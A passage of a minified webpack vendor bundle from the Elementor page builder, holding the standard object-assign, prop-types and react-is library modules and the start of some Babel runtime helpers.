/*! elementor - v3.16.0 - 17-10-2023 */ (self["webpackChunkelementor"] = self["webpackChunkelementor"] || []).push([["vendors-node_modules_prop-types_index_js-node_modules_babel_runtime_helpers_slicedToArray_js"],{ /***/ "../node_modules/object-assign/index.js": /*!**********************************************!*\ !*** ../node_modules/object-assign/index.js ***! \**********************************************/ /***/ ((module) => { "use strict"; /* object-assign (c) Sindre Sorhus @license MIT */ /* eslint-disable no-unused-vars */ var getOwnPropertySymbols = Object.getOwnPropertySymbols; var hasOwnProperty = Object.prototype.hasOwnProperty; var propIsEnumerable = Object.prototype.propertyIsEnumerable; function toObject(val) { if (val === null || val === undefined) { throw new TypeError('Object.assign cannot be called with null or undefined'); } return Object(val); } function shouldUseNative() { try { if (!Object.assign) { return false; } // Detect buggy property enumeration order in older V8 versions. // https://bugs.chromium.org/p/v8/issues/detail?id=4118 var test1 = new String('abc'); // eslint-disable-line no-new-wrappers test1[5] = 'de'; if (Object.getOwnPropertyNames(test1)[0] === '5') { return false; } // https://bugs.chromium.org/p/v8/issues/detail?id=3056 var test2 = {}; for (var i = 0; i < 10; i++) { test2['_' + String.fromCharCode(i)] = i; } var order2 = Object.getOwnPropertyNames(test2).map(function (n) { return test2[n]; }); if (order2.join('') !== '0123456789') { return false; } // https://bugs.chromium.org/p/v8/issues/detail?id=3056 var test3 = {}; 'abcdefghijklmnopqrst'.split('').forEach(function (letter) { test3[letter] = letter; }); if (Object.keys(Object.assign({}, test3)).join('') !== 'abcdefghijklmnopqrst') { return false; } return true; } catch (err) { // We don't expect any of the above to throw, but better to be safe. return false; } } module.exports = shouldUseNative() ? Object.assign : function (target, source) { var from; var to = toObject(target); var symbols; for (var s = 1; s < arguments.length; s++) { from = Object(arguments[s]); for (var key in from) { if (hasOwnProperty.call(from, key)) { to[key] = from[key]; } } if (getOwnPropertySymbols) { symbols = getOwnPropertySymbols(from); for (var i = 0; i < symbols.length; i++) { if (propIsEnumerable.call(from, symbols[i])) { to[symbols[i]] = from[symbols[i]]; } } } } return to; }; /***/ }), /***/ "../node_modules/prop-types/checkPropTypes.js": /*!****************************************************!*\ !*** ../node_modules/prop-types/checkPropTypes.js ***! \****************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { "use strict"; /** * Copyright (c) 2013-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ var printWarning = function() {}; if (true) { var ReactPropTypesSecret = __webpack_require__(/*! ./lib/ReactPropTypesSecret */ "../node_modules/prop-types/lib/ReactPropTypesSecret.js"); var loggedTypeFailures = {}; var has = __webpack_require__(/*! ./lib/has */ "../node_modules/prop-types/lib/has.js"); printWarning = function(text) { var message = 'Warning: ' + text; if (typeof console !== 'undefined') { console.error(message); } try { // --- Welcome to debugging React --- // This error was thrown as a convenience so that you can use this stack // to find the callsite that caused this warning to fire. throw new Error(message); } catch (x) { /**/ } }; } /** * Assert that the values match with the type specs. * Error messages are memorized and will only be shown once. * * @param {object} typeSpecs Map of name to a ReactPropType * @param {object} values Runtime values that need to be type-checked * @param {string} location e.g. "prop", "context", "child context" * @param {string} componentName Name of the component for error messages. * @param {?Function} getStack Returns the component stack. * @private */ function checkPropTypes(typeSpecs, values, location, componentName, getStack) { if (true) { for (var typeSpecName in typeSpecs) { if (has(typeSpecs, typeSpecName)) { var error; // Prop type validation may throw. In case they do, we don't want to // fail the render phase where it didn't fail before. So we log it. // After these have been cleaned up, we'll let them throw. try { // This is intentionally an invariant that gets caught. It's the same // behavior as without this statement except with a better message. if (typeof typeSpecs[typeSpecName] !== 'function') { var err = Error( (componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.' ); err.name = 'Invariant Violation'; throw err; } error = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, ReactPropTypesSecret); } catch (ex) { error = ex; } if (error && !(error instanceof Error)) { printWarning( (componentName || 'React class') + ': type specification of ' + location + ' `' + typeSpecName + '` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a ' + typeof error + '. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).' ); } if (error instanceof Error && !(error.message in loggedTypeFailures)) { // Only monitor this failure once because there tends to be a lot of the // same error. loggedTypeFailures[error.message] = true; var stack = getStack ? getStack() : ''; printWarning( 'Failed ' + location + ' type: ' + error.message + (stack != null ? stack : '') ); } } } } } /** * Resets warning cache when testing. * * @private */ checkPropTypes.resetWarningCache = function() { if (true) { loggedTypeFailures = {}; } } module.exports = checkPropTypes; /***/ }), /***/ "../node_modules/prop-types/factoryWithTypeCheckers.js": /*!*************************************************************!*\ !*** ../node_modules/prop-types/factoryWithTypeCheckers.js ***! \*************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { "use strict"; /** * Copyright (c) 2013-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ var ReactIs = __webpack_require__(/*! react-is */ "../node_modules/prop-types/node_modules/react-is/index.js"); var assign = __webpack_require__(/*! object-assign */ "../node_modules/object-assign/index.js"); var ReactPropTypesSecret = __webpack_require__(/*! ./lib/ReactPropTypesSecret */ "../node_modules/prop-types/lib/ReactPropTypesSecret.js"); var has = __webpack_require__(/*! ./lib/has */ "../node_modules/prop-types/lib/has.js"); var checkPropTypes = __webpack_require__(/*! ./checkPropTypes */ "../node_modules/prop-types/checkPropTypes.js"); var printWarning = function() {}; if (true) { printWarning = function(text) { var message = 'Warning: ' + text; if (typeof console !== 'undefined') { console.error(message); } try { // --- Welcome to debugging React --- // This error was thrown as a convenience so that you can use this stack // to find the callsite that caused this warning to fire. throw new Error(message); } catch (x) {} }; } function emptyFunctionThatReturnsNull() { return null; } module.exports = function(isValidElement, throwOnDirectAccess) { /* global Symbol */ var ITERATOR_SYMBOL = typeof Symbol === 'function' && Symbol.iterator; var FAUX_ITERATOR_SYMBOL = '@@iterator'; // Before Symbol spec. /** * Returns the iterator method function contained on the iterable object. * * Be sure to invoke the function with the iterable as context: * * var iteratorFn = getIteratorFn(myIterable); * if (iteratorFn) { * var iterator = iteratorFn.call(myIterable); * ... * } * * @param {?object} maybeIterable * @return {?function} */ function getIteratorFn(maybeIterable) { var iteratorFn = maybeIterable && (ITERATOR_SYMBOL && maybeIterable[ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL]); if (typeof iteratorFn === 'function') { return iteratorFn; } } /** * Collection of methods that allow declaration and validation of props that are * supplied to React components. Example usage: * * var Props = require('ReactPropTypes'); * var MyArticle = React.createClass({ * propTypes: { * // An optional string prop named "description". * description: Props.string, * * // A required enum prop named "category". * category: Props.oneOf(['News','Photos']).isRequired, * * // A prop named "dialog" that requires an instance of Dialog. * dialog: Props.instanceOf(Dialog).isRequired * }, * render: function() { ... } * }); * * A more formal specification of how these methods are used: * * type := array|bool|func|object|number|string|oneOf([...])|instanceOf(...) * decl := ReactPropTypes.{type}(.isRequired)? * * Each and every declaration produces a function with the same signature. This * allows the creation of custom validation functions. For example: * * var MyLink = React.createClass({ * propTypes: { * // An optional string or URI prop named "href". * href: function(props, propName, componentName) { * var propValue = props[propName]; * if (propValue != null && typeof propValue !== 'string' && * !(propValue instanceof URI)) { * return new Error( * 'Expected a string or an URI for ' + propName + ' in ' + * componentName * ); * } * } * }, * render: function() {...} * }); * * @internal */ var ANONYMOUS = '<>'; // Important! // Keep this list in sync with production version in `./factoryWithThrowingShims.js`. var ReactPropTypes = { array: createPrimitiveTypeChecker('array'), bigint: createPrimitiveTypeChecker('bigint'), bool: createPrimitiveTypeChecker('boolean'), func: createPrimitiveTypeChecker('function'), number: createPrimitiveTypeChecker('number'), object: createPrimitiveTypeChecker('object'), string: createPrimitiveTypeChecker('string'), symbol: createPrimitiveTypeChecker('symbol'), any: createAnyTypeChecker(), arrayOf: createArrayOfTypeChecker, element: createElementTypeChecker(), elementType: createElementTypeTypeChecker(), instanceOf: createInstanceTypeChecker, node: createNodeChecker(), objectOf: createObjectOfTypeChecker, oneOf: createEnumTypeChecker, oneOfType: createUnionTypeChecker, shape: createShapeTypeChecker, exact: createStrictShapeTypeChecker, }; /** * inlined Object.is polyfill to avoid requiring consumers ship their own * https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is */ /*eslint-disable no-self-compare*/ function is(x, y) { // SameValue algorithm if (x === y) { // Steps 1-5, 7-10 // Steps 6.b-6.e: +0 != -0 return x !== 0 || 1 / x === 1 / y; } else { // Step 6.a: NaN == NaN return x !== x && y !== y; } } /*eslint-enable no-self-compare*/ /** * We use an Error-like object for backward compatibility as people may call * PropTypes directly and inspect their output. However, we don't use real * Errors anymore. We don't inspect their stack anyway, and creating them * is prohibitively expensive if they are created too often, such as what * happens in oneOfType() for any type before the one that matched. */ function PropTypeError(message, data) { this.message = message; this.data = data && typeof data === 'object' ? data: {}; this.stack = ''; } // Make `instanceof Error` still work for returned errors. PropTypeError.prototype = Error.prototype; function createChainableTypeChecker(validate) { if (true) { var manualPropTypeCallCache = {}; var manualPropTypeWarningCount = 0; } function checkType(isRequired, props, propName, componentName, location, propFullName, secret) { componentName = componentName || ANONYMOUS; propFullName = propFullName || propName; if (secret !== ReactPropTypesSecret) { if (throwOnDirectAccess) { // New behavior only for users of `prop-types` package var err = new Error( 'Calling PropTypes validators directly is not supported by the `prop-types` package. ' + 'Use `PropTypes.checkPropTypes()` to call them. ' + 'Read more at http://fb.me/use-check-prop-types' ); err.name = 'Invariant Violation'; throw err; } else if ( true && typeof console !== 'undefined') { // Old behavior for people using React.PropTypes var cacheKey = componentName + ':' + propName; if ( !manualPropTypeCallCache[cacheKey] && // Avoid spamming the console because they are often not actionable except for lib authors manualPropTypeWarningCount < 3 ) { printWarning( 'You are manually calling a React.PropTypes validation ' + 'function for the `' + propFullName + '` prop on `' + componentName + '`. This is deprecated ' + 'and will throw in the standalone `prop-types` package. ' + 'You may be seeing this warning due to a third-party PropTypes ' + 'library. See https://fb.me/react-warning-dont-call-proptypes ' + 'for details.' ); manualPropTypeCallCache[cacheKey] = true; manualPropTypeWarningCount++; } } } if (props[propName] == null) { if (isRequired) { if (props[propName] === null) { return new PropTypeError('The ' + location + ' `' + propFullName + '` is marked as required ' + ('in `' + componentName + '`, but its value is `null`.')); } return new PropTypeError('The ' + location + ' `' + propFullName + '` is marked as required in ' + ('`' + componentName + '`, but its value is `undefined`.')); } return null; } else { return validate(props, propName, componentName, location, propFullName); } } var chainedCheckType = checkType.bind(null, false); chainedCheckType.isRequired = checkType.bind(null, true); return chainedCheckType; } function createPrimitiveTypeChecker(expectedType) { function validate(props, propName, componentName, location, propFullName, secret) { var propValue = props[propName]; var propType = getPropType(propValue); if (propType !== expectedType) { // `propValue` being instance of, say, date/regexp, pass the 'object' // check, but we can offer a more precise error message here rather than // 'of type `object`'. var preciseType = getPreciseType(propValue); return new PropTypeError( 'Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + preciseType + '` supplied to `' + componentName + '`, expected ') + ('`' + expectedType + '`.'), {expectedType: expectedType} ); } return null; } return createChainableTypeChecker(validate); } function createAnyTypeChecker() { return createChainableTypeChecker(emptyFunctionThatReturnsNull); } function createArrayOfTypeChecker(typeChecker) { function validate(props, propName, componentName, location, propFullName) { if (typeof typeChecker !== 'function') { return new PropTypeError('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside arrayOf.'); } var propValue = props[propName]; if (!Array.isArray(propValue)) { var propType = getPropType(propValue); return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an array.')); } for (var i = 0; i < propValue.length; i++) { var error = typeChecker(propValue, i, componentName, location, propFullName + '[' + i + ']', ReactPropTypesSecret); if (error instanceof Error) { return error; } } return null; } return createChainableTypeChecker(validate); } function createElementTypeChecker() { function validate(props, propName, componentName, location, propFullName) { var propValue = props[propName]; if (!isValidElement(propValue)) { var propType = getPropType(propValue); return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected a single ReactElement.')); } return null; } return createChainableTypeChecker(validate); } function createElementTypeTypeChecker() { function validate(props, propName, componentName, location, propFullName) { var propValue = props[propName]; if (!ReactIs.isValidElementType(propValue)) { var propType = getPropType(propValue); return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected a single ReactElement type.')); } return null; } return createChainableTypeChecker(validate); } function createInstanceTypeChecker(expectedClass) { function validate(props, propName, componentName, location, propFullName) { if (!(props[propName] instanceof expectedClass)) { var expectedClassName = expectedClass.name || ANONYMOUS; var actualClassName = getClassName(props[propName]); return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + actualClassName + '` supplied to `' + componentName + '`, expected ') + ('instance of `' + expectedClassName + '`.')); } return null; } return createChainableTypeChecker(validate); } function createEnumTypeChecker(expectedValues) { if (!Array.isArray(expectedValues)) { if (true) { if (arguments.length > 1) { printWarning( 'Invalid arguments supplied to oneOf, expected an array, got ' + arguments.length + ' arguments. ' + 'A common mistake is to write oneOf(x, y, z) instead of oneOf([x, y, z]).' ); } else { printWarning('Invalid argument supplied to oneOf, expected an array.'); } } return emptyFunctionThatReturnsNull; } function validate(props, propName, componentName, location, propFullName) { var propValue = props[propName]; for (var i = 0; i < expectedValues.length; i++) { if (is(propValue, expectedValues[i])) { return null; } } var valuesString = JSON.stringify(expectedValues, function replacer(key, value) { var type = getPreciseType(value); if (type === 'symbol') { return String(value); } return value; }); return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of value `' + String(propValue) + '` ' + ('supplied to `' + componentName + '`, expected one of ' + valuesString + '.')); } return createChainableTypeChecker(validate); } function createObjectOfTypeChecker(typeChecker) { function validate(props, propName, componentName, location, propFullName) { if (typeof typeChecker !== 'function') { return new PropTypeError('Property `' + propFullName + '` of component `' + componentName + '` has invalid PropType notation inside objectOf.'); } var propValue = props[propName]; var propType = getPropType(propValue); if (propType !== 'object') { return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type ' + ('`' + propType + '` supplied to `' + componentName + '`, expected an object.')); } for (var key in propValue) { if (has(propValue, key)) { var error = typeChecker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret); if (error instanceof Error) { return error; } } } return null; } return createChainableTypeChecker(validate); } function createUnionTypeChecker(arrayOfTypeCheckers) { if (!Array.isArray(arrayOfTypeCheckers)) { true ? printWarning('Invalid argument supplied to oneOfType, expected an instance of array.') : 0; return emptyFunctionThatReturnsNull; } for (var i = 0; i < arrayOfTypeCheckers.length; i++) { var checker = arrayOfTypeCheckers[i]; if (typeof checker !== 'function') { printWarning( 'Invalid argument supplied to oneOfType. Expected an array of check functions, but ' + 'received ' + getPostfixForTypeWarning(checker) + ' at index ' + i + '.' ); return emptyFunctionThatReturnsNull; } } function validate(props, propName, componentName, location, propFullName) { var expectedTypes = []; for (var i = 0; i < arrayOfTypeCheckers.length; i++) { var checker = arrayOfTypeCheckers[i]; var checkerResult = checker(props, propName, componentName, location, propFullName, ReactPropTypesSecret); if (checkerResult == null) { return null; } if (checkerResult.data && has(checkerResult.data, 'expectedType')) { expectedTypes.push(checkerResult.data.expectedType); } } var expectedTypesMessage = (expectedTypes.length > 0) ? ', expected one of type [' + expectedTypes.join(', ') + ']': ''; return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`' + expectedTypesMessage + '.')); } return createChainableTypeChecker(validate); } function createNodeChecker() { function validate(props, propName, componentName, location, propFullName) { if (!isNode(props[propName])) { return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` supplied to ' + ('`' + componentName + '`, expected a ReactNode.')); } return null; } return createChainableTypeChecker(validate); } function invalidValidatorError(componentName, location, propFullName, key, type) { return new PropTypeError( (componentName || 'React class') + ': ' + location + ' type `' + propFullName + '.' + key + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + type + '`.' ); } function createShapeTypeChecker(shapeTypes) { function validate(props, propName, componentName, location, propFullName) { var propValue = props[propName]; var propType = getPropType(propValue); if (propType !== 'object') { return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type `' + propType + '` ' + ('supplied to `' + componentName + '`, expected `object`.')); } for (var key in shapeTypes) { var checker = shapeTypes[key]; if (typeof checker !== 'function') { return invalidValidatorError(componentName, location, propFullName, key, getPreciseType(checker)); } var error = checker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret); if (error) { return error; } } return null; } return createChainableTypeChecker(validate); } function createStrictShapeTypeChecker(shapeTypes) { function validate(props, propName, componentName, location, propFullName) { var propValue = props[propName]; var propType = getPropType(propValue); if (propType !== 'object') { return new PropTypeError('Invalid ' + location + ' `' + propFullName + '` of type `' + propType + '` ' + ('supplied to `' + componentName + '`, expected `object`.')); } // We need to check all keys in case some are required but missing from props. var allKeys = assign({}, props[propName], shapeTypes); for (var key in allKeys) { var checker = shapeTypes[key]; if (has(shapeTypes, key) && typeof checker !== 'function') { return invalidValidatorError(componentName, location, propFullName, key, getPreciseType(checker)); } if (!checker) { return new PropTypeError( 'Invalid ' + location + ' `' + propFullName + '` key `' + key + '` supplied to `' + componentName + '`.' + '\nBad object: ' + JSON.stringify(props[propName], null, ' ') + '\nValid keys: ' + JSON.stringify(Object.keys(shapeTypes), null, ' ') ); } var error = checker(propValue, key, componentName, location, propFullName + '.' + key, ReactPropTypesSecret); if (error) { return error; } } return null; } return createChainableTypeChecker(validate); } function isNode(propValue) { switch (typeof propValue) { case 'number': case 'string': case 'undefined': return true; case 'boolean': return !propValue; case 'object': if (Array.isArray(propValue)) { return propValue.every(isNode); } if (propValue === null || isValidElement(propValue)) { return true; } var iteratorFn = getIteratorFn(propValue); if (iteratorFn) { var iterator = iteratorFn.call(propValue); var step; if (iteratorFn !== propValue.entries) { while (!(step = iterator.next()).done) { if (!isNode(step.value)) { return false; } } } else { // Iterator will provide entry [k,v] tuples rather than values. while (!(step = iterator.next()).done) { var entry = step.value; if (entry) { if (!isNode(entry[1])) { return false; } } } } } else { return false; } return true; default: return false; } } function isSymbol(propType, propValue) { // Native Symbol. if (propType === 'symbol') { return true; } // falsy value can't be a Symbol if (!propValue) { return false; } // 19.4.3.5 Symbol.prototype[@@toStringTag] === 'Symbol' if (propValue['@@toStringTag'] === 'Symbol') { return true; } // Fallback for non-spec compliant Symbols which are polyfilled. if (typeof Symbol === 'function' && propValue instanceof Symbol) { return true; } return false; } // Equivalent of `typeof` but with special handling for array and regexp. function getPropType(propValue) { var propType = typeof propValue; if (Array.isArray(propValue)) { return 'array'; } if (propValue instanceof RegExp) { // Old webkits (at least until Android 4.0) return 'function' rather than // 'object' for typeof a RegExp. We'll normalize this here so that /bla/ // passes PropTypes.object. return 'object'; } if (isSymbol(propType, propValue)) { return 'symbol'; } return propType; } // This handles more types than `getPropType`. Only used for error messages. // See `createPrimitiveTypeChecker`. function getPreciseType(propValue) { if (typeof propValue === 'undefined' || propValue === null) { return '' + propValue; } var propType = getPropType(propValue); if (propType === 'object') { if (propValue instanceof Date) { return 'date'; } else if (propValue instanceof RegExp) { return 'regexp'; } } return propType; } // Returns a string that is postfixed to a warning about an invalid type. // For example, "undefined" or "of type array" function getPostfixForTypeWarning(value) { var type = getPreciseType(value); switch (type) { case 'array': case 'object': return 'an ' + type; case 'boolean': case 'date': case 'regexp': return 'a ' + type; default: return type; } } // Returns class name of the object, if any. function getClassName(propValue) { if (!propValue.constructor || !propValue.constructor.name) { return ANONYMOUS; } return propValue.constructor.name; } ReactPropTypes.checkPropTypes = checkPropTypes; ReactPropTypes.resetWarningCache = checkPropTypes.resetWarningCache; ReactPropTypes.PropTypes = ReactPropTypes; return ReactPropTypes; }; /***/ }), /***/ "../node_modules/prop-types/index.js": /*!*******************************************!*\ !*** ../node_modules/prop-types/index.js ***! \*******************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { /** * Copyright (c) 2013-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ if (true) { var ReactIs = __webpack_require__(/*! react-is */ "../node_modules/prop-types/node_modules/react-is/index.js"); // By explicitly using `prop-types` you are opting into new development behavior. // http://fb.me/prop-types-in-prod var throwOnDirectAccess = true; module.exports = __webpack_require__(/*! ./factoryWithTypeCheckers */ "../node_modules/prop-types/factoryWithTypeCheckers.js")(ReactIs.isElement, throwOnDirectAccess); } else {} /***/ }), /***/ "../node_modules/prop-types/lib/ReactPropTypesSecret.js": /*!**************************************************************!*\ !*** ../node_modules/prop-types/lib/ReactPropTypesSecret.js ***! \**************************************************************/ /***/ ((module) => { "use strict"; /** * Copyright (c) 2013-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ var ReactPropTypesSecret = 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED'; module.exports = ReactPropTypesSecret; /***/ }), /***/ "../node_modules/prop-types/lib/has.js": /*!*********************************************!*\ !*** ../node_modules/prop-types/lib/has.js ***! \*********************************************/ /***/ ((module) => { module.exports = Function.call.bind(Object.prototype.hasOwnProperty); /***/ }), /***/ "../node_modules/prop-types/node_modules/react-is/cjs/react-is.development.js": /*!************************************************************************************!*\ !*** ../node_modules/prop-types/node_modules/react-is/cjs/react-is.development.js ***! \************************************************************************************/ /***/ ((__unused_webpack_module, exports) => { "use strict"; /** @license React v16.13.1 * react-is.development.js * * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ if (true) { (function() { 'use strict'; // The Symbol used to tag the ReactElement-like types. If there is no native Symbol // nor polyfill, then a plain number is used for performance. var hasSymbol = typeof Symbol === 'function' && Symbol.for; var REACT_ELEMENT_TYPE = hasSymbol ? Symbol.for('react.element') : 0xeac7; var REACT_PORTAL_TYPE = hasSymbol ? Symbol.for('react.portal') : 0xeaca; var REACT_FRAGMENT_TYPE = hasSymbol ? Symbol.for('react.fragment') : 0xeacb; var REACT_STRICT_MODE_TYPE = hasSymbol ? Symbol.for('react.strict_mode') : 0xeacc; var REACT_PROFILER_TYPE = hasSymbol ? Symbol.for('react.profiler') : 0xead2; var REACT_PROVIDER_TYPE = hasSymbol ? Symbol.for('react.provider') : 0xeacd; var REACT_CONTEXT_TYPE = hasSymbol ? Symbol.for('react.context') : 0xeace; // TODO: We don't use AsyncMode or ConcurrentMode anymore. They were temporary // (unstable) APIs that have been removed. Can we remove the symbols? var REACT_ASYNC_MODE_TYPE = hasSymbol ? Symbol.for('react.async_mode') : 0xeacf; var REACT_CONCURRENT_MODE_TYPE = hasSymbol ? Symbol.for('react.concurrent_mode') : 0xeacf; var REACT_FORWARD_REF_TYPE = hasSymbol ? Symbol.for('react.forward_ref') : 0xead0; var REACT_SUSPENSE_TYPE = hasSymbol ? Symbol.for('react.suspense') : 0xead1; var REACT_SUSPENSE_LIST_TYPE = hasSymbol ? Symbol.for('react.suspense_list') : 0xead8; var REACT_MEMO_TYPE = hasSymbol ? Symbol.for('react.memo') : 0xead3; var REACT_LAZY_TYPE = hasSymbol ? Symbol.for('react.lazy') : 0xead4; var REACT_BLOCK_TYPE = hasSymbol ? Symbol.for('react.block') : 0xead9; var REACT_FUNDAMENTAL_TYPE = hasSymbol ? Symbol.for('react.fundamental') : 0xead5; var REACT_RESPONDER_TYPE = hasSymbol ? Symbol.for('react.responder') : 0xead6; var REACT_SCOPE_TYPE = hasSymbol ? Symbol.for('react.scope') : 0xead7; function isValidElementType(type) { return typeof type === 'string' || typeof type === 'function' || // Note: its typeof might be other than 'symbol' or 'number' if it's a polyfill. type === REACT_FRAGMENT_TYPE || type === REACT_CONCURRENT_MODE_TYPE || type === REACT_PROFILER_TYPE || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || typeof type === 'object' && type !== null && (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || type.$$typeof === REACT_FUNDAMENTAL_TYPE || type.$$typeof === REACT_RESPONDER_TYPE || type.$$typeof === REACT_SCOPE_TYPE || type.$$typeof === REACT_BLOCK_TYPE); } function typeOf(object) { if (typeof object === 'object' && object !== null) { var $$typeof = object.$$typeof; switch ($$typeof) { case REACT_ELEMENT_TYPE: var type = object.type; switch (type) { case REACT_ASYNC_MODE_TYPE: case REACT_CONCURRENT_MODE_TYPE: case REACT_FRAGMENT_TYPE: case REACT_PROFILER_TYPE: case REACT_STRICT_MODE_TYPE: case REACT_SUSPENSE_TYPE: return type; default: var $$typeofType = type && type.$$typeof; switch ($$typeofType) { case REACT_CONTEXT_TYPE: case REACT_FORWARD_REF_TYPE: case REACT_LAZY_TYPE: case REACT_MEMO_TYPE: case REACT_PROVIDER_TYPE: return $$typeofType; default: return $$typeof; } } case REACT_PORTAL_TYPE: return $$typeof; } } return undefined; } // AsyncMode is deprecated along with isAsyncMode var AsyncMode = REACT_ASYNC_MODE_TYPE; var ConcurrentMode = REACT_CONCURRENT_MODE_TYPE; var ContextConsumer = REACT_CONTEXT_TYPE; var ContextProvider = REACT_PROVIDER_TYPE; var Element = REACT_ELEMENT_TYPE; var ForwardRef = REACT_FORWARD_REF_TYPE; var Fragment = REACT_FRAGMENT_TYPE; var Lazy = REACT_LAZY_TYPE; var Memo = REACT_MEMO_TYPE; var Portal = REACT_PORTAL_TYPE; var Profiler = REACT_PROFILER_TYPE; var StrictMode = REACT_STRICT_MODE_TYPE; var Suspense = REACT_SUSPENSE_TYPE; var hasWarnedAboutDeprecatedIsAsyncMode = false; // AsyncMode should be deprecated function isAsyncMode(object) { { if (!hasWarnedAboutDeprecatedIsAsyncMode) { hasWarnedAboutDeprecatedIsAsyncMode = true; // Using console['warn'] to evade Babel and ESLint console['warn']('The ReactIs.isAsyncMode() alias has been deprecated, ' + 'and will be removed in React 17+. Update your code to use ' + 'ReactIs.isConcurrentMode() instead. It has the exact same API.'); } } return isConcurrentMode(object) || typeOf(object) === REACT_ASYNC_MODE_TYPE; } function isConcurrentMode(object) { return typeOf(object) === REACT_CONCURRENT_MODE_TYPE; } function isContextConsumer(object) { return typeOf(object) === REACT_CONTEXT_TYPE; } function isContextProvider(object) { return typeOf(object) === REACT_PROVIDER_TYPE; } function isElement(object) { return typeof object === 'object' && object !== null && object.$$typeof === REACT_ELEMENT_TYPE; } function isForwardRef(object) { return typeOf(object) === REACT_FORWARD_REF_TYPE; } function isFragment(object) { return typeOf(object) === REACT_FRAGMENT_TYPE; } function isLazy(object) { return typeOf(object) === REACT_LAZY_TYPE; } function isMemo(object) { return typeOf(object) === REACT_MEMO_TYPE; } function isPortal(object) { return typeOf(object) === REACT_PORTAL_TYPE; } function isProfiler(object) { return typeOf(object) === REACT_PROFILER_TYPE; } function isStrictMode(object) { return typeOf(object) === REACT_STRICT_MODE_TYPE; } function isSuspense(object) { return typeOf(object) === REACT_SUSPENSE_TYPE; } exports.AsyncMode = AsyncMode; exports.ConcurrentMode = ConcurrentMode; exports.ContextConsumer = ContextConsumer; exports.ContextProvider = ContextProvider; exports.Element = Element; exports.ForwardRef = ForwardRef; exports.Fragment = Fragment; exports.Lazy = Lazy; exports.Memo = Memo; exports.Portal = Portal; exports.Profiler = Profiler; exports.StrictMode = StrictMode; exports.Suspense = Suspense; exports.isAsyncMode = isAsyncMode; exports.isConcurrentMode = isConcurrentMode; exports.isContextConsumer = isContextConsumer; exports.isContextProvider = isContextProvider; exports.isElement = isElement; exports.isForwardRef = isForwardRef; exports.isFragment = isFragment; exports.isLazy = isLazy; exports.isMemo = isMemo; exports.isPortal = isPortal; exports.isProfiler = isProfiler; exports.isStrictMode = isStrictMode; exports.isSuspense = isSuspense; exports.isValidElementType = isValidElementType; exports.typeOf = typeOf; })(); } /***/ }), /***/ "../node_modules/prop-types/node_modules/react-is/index.js": /*!*****************************************************************!*\ !*** ../node_modules/prop-types/node_modules/react-is/index.js ***! \*****************************************************************/ /***/ ((module, __unused_webpack_exports, __webpack_require__) => { "use strict"; if (false) {} else { module.exports = __webpack_require__(/*! ./cjs/react-is.development.js */ "../node_modules/prop-types/node_modules/react-is/cjs/react-is.development.js"); } /***/ }), /***/ "../node_modules/@babel/runtime/helpers/arrayLikeToArray.js": /*!******************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/arrayLikeToArray.js ***! \******************************************************************/ /***/ ((module) => { function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) arr2[i] = arr[i]; return arr2; } module.exports = _arrayLikeToArray, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/arrayWithHoles.js": /*!****************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/arrayWithHoles.js ***! \****************************************************************/ /***/ ((module) => { function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } module.exports = _arrayWithHoles, module.exports.__esModule = true, module.exports["default"] = module.exports; /***/ }), /***/ "../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js": /*!**********************************************************************!*\ !*** ../node_modules/@babel/runtime/helpers/iterableToArrayLimit.js ***! \**********************************************************************/ /***/ ((module) => { function _iterableToArrayLimit(arr, i) { var _i = 